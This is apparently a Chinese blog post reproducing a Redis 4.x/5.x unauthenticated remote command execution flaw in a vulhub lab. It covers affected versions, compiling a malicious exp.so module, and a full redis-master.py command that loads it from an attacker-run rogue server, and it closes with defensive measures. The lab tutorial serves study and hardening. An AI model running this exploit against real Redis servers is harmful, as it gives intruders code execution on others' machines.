Redis 4.x/5.x 未授权访问任意命令执行

文章目录

    • 一、漏洞介绍
      • 1.1 漏洞简介
      • 1.2 影响版本
      • 1.3 漏洞指纹
    • 二、环境搭建
    • 三、攻击过程
      • 3.1 信息收集
    • 四、防御措施

一、漏洞介绍

1.1 漏洞简介

  Redis是常用基于内存的Key-Value数据库,默认绑定于6379端口,如果没有进行相关限制策略(添加防火墙规则避免其它非信任来源IP访问等)会将Redis暴露在公网上,Redis默认没有密码认证,导致任意用户可以访问Redis,从而使用master/slave模式加载远程模块,通过动态链接库方式执行任意命令。

  Redis主从同步是在Redis4.x之后,新增了模块功能,通过外部扩展可以在Redis中实现一个新的Redis命令,通过c语言编译so文件。

1.2 影响版本

  • Redis < 4.x/5.0.5

1.3 漏洞指纹

  • port 6379

二、环境搭建

  • 受害者:192.168.159.129(vulhub)
  • 攻击者:192.168.123.192

》》进入到环境对应目录,执行:
在这里插入图片描述
》》查看redis服务是否启动
Redis 4.x/5.x 未授权访问任意命令执行_第1张图片

三、攻击过程

3.1 信息收集

》》查看对方是否使用了redis(开启了6379端口)
Redis 4.x/5.x 未授权访问任意命令执行_第2张图片
》》攻击者使用redis客户端尝试连接,验证是否无需认证(成功连接,并执行了info命令)
Redis 4.x/5.x 未授权访问任意命令执行_第3张图片
》》使用已公开的exp进行执行命令

  • github地址:https://github.com/vulhub/redis-rogue-getshell

》》编译项目RedisModulesSDK中的模块
》》cd RedisModulesSDK
》》make
》》生成exp.so文件
Redis 4.x/5.x 未授权访问任意命令执行_第4张图片
》》执行命令

python redis-master.py -r 192.168.159.129 -p 6379 -L 192.168.123.192 -P 19111 -f exp.so -c "uname -a"

Redis 4.x/5.x 未授权访问任意命令执行_第5张图片

optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST target host
-p RPORT, --rport RPORT target redis port, default 6379
-L LHOST, --lhost LHOST rogue server ip
-P LPORT, --lport LPORT rogue server listen port, default 21000
-f FILE, --file FILE RedisModules to load, default exp.so
-c COMMAND, --command COMMAND Command that you want to execute
-a AUTH, --auth AUTH redis password

四、防御措施

  1. Redis添加密码验证
  2. Redis尽量不要在公网开放(限制来源IP)
  3. 使用高版本的Redis

你可能感兴趣的:(漏洞复现)